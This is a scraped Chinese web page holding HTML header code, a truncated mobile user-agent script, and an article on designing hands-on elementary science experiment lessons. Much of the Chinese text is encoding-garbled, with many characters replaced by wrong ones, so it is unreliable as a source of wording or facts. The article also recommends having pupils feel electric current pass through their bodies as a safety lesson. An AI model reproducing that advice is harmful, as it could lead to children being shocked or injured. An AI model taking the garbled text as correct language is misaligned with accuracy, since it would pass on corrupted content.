小學(xué)自然實(shí)驗(yàn)課重在培養(yǎng)學(xué)生的動手實(shí)驗(yàn)?zāi)芰?/title> <meta name="keywords" content="小學(xué)自然實(shí)驗(yàn)課重在培養(yǎng)學(xué)生的動手實(shí)驗(yàn)?zāi)芰?> <meta name="description" content="當(dāng)前，我國自然學(xué)科教學(xué)改革的目的，不僅是指導(dǎo)學(xué)生初步認(rèn)識自然，獲取必要的自然科學(xué)常識，更重要的是通過指導(dǎo)兒童參與獲取的過程，學(xué)習(xí)掌握研究認(rèn)識自然的科學(xué)方法。因此，在自然實(shí)驗(yàn)課中，教師要以培養(yǎng)學(xué)生動手能力為著眼點(diǎn)精心設(shè)計(jì)，努力為學(xué)生提供直觀、有效的實(shí)物材料。引導(dǎo)學(xué)生按照認(rèn)識事物的規(guī)律去探索大自然奧秘。"> <link rel="canonical" href="http://www.htc668.com/"/> <link rel="stylesheet" href="http://www.htc668.com/static/css/article.css">  <script type="text/javascript"> var D=new Date(),RAND_STR=D.getUTCFullYear()+"_"+D.getUTCMonth()+"_"+D.getUTCDate()+"_"+(Math.floor(D.getUTCHours()/3)); if((navigator.userAgent.match(/(phone|pad|pod|mobile|ios|android|BlackBerry|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|symbian|transcoder)/i))){ document.write('<script type="text/javascript" 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例如學(xué)習(xí)《人類怎樣傳遞信息》時(shí)，教師用一個發(fā)報(bào)機(jī)模型教學(xué)生練習(xí)收發(fā)報(bào)，通過練習(xí)，學(xué)生清楚地了解到電報(bào)是怎樣傳遞信息的。在講授《導(dǎo)體、絕緣體、半導(dǎo)體》時(shí)，為了讓學(xué)生體會人是導(dǎo)體的特性，就讓學(xué)生做有關(guān)實(shí)驗(yàn)，當(dāng)學(xué)生體驗(yàn)到電流通過人體時(shí)的感覺后，對今后安全用電會一輩子牢牢記住。<br /> <br /> 遵循直觀、易行的教學(xué)原則，在教學(xué)中盡可能做到化繁為簡。<br /> 有時(shí)，說明一個道理的實(shí)驗(yàn)很多，不一定要用很復(fù)雜的實(shí)驗(yàn)，這就要注意直觀性，使學(xué)生易于觀察，一目了然，做起來困難小，效果好。簡單的實(shí)驗(yàn)同樣可以達(dá)到復(fù)雜實(shí)驗(yàn)的效果。例如講《大氣壓力》時(shí)，用馬德堡半球?qū)嶒?yàn)可以證明大氣壓力很大，沒有此教具就可以用皮揣子代替。講《導(dǎo)體》一課時(shí)，可以搜集牙膏皮、電池皮、鉛筆芯、塑料片、釘子等來做導(dǎo)電實(shí)驗(yàn)，效果也很好。<br /> <br /> 強(qiáng)調(diào)多做多練，適當(dāng)加強(qiáng)實(shí)驗(yàn)密度，最大限度滿足學(xué)生動手的愿望。<br /> 學(xué)習(xí)《透鏡》時(shí)，發(fā)給每個學(xué)生一根火柴，兩個人一組用透鏡聚光線，嘗試一個點(diǎn)燃火柴的實(shí)驗(yàn)。學(xué)習(xí)《摩擦起電》時(shí)，讓學(xué)生每人都摩擦一下塑料尺、塑料袋等。此外，《大氣的壓力和浮力》一課，也可以安排幾個實(shí)驗(yàn)。<script>s("content_relate");</script> </div> <script type="text/javascript">s("download_bottom");</script> </div> <script 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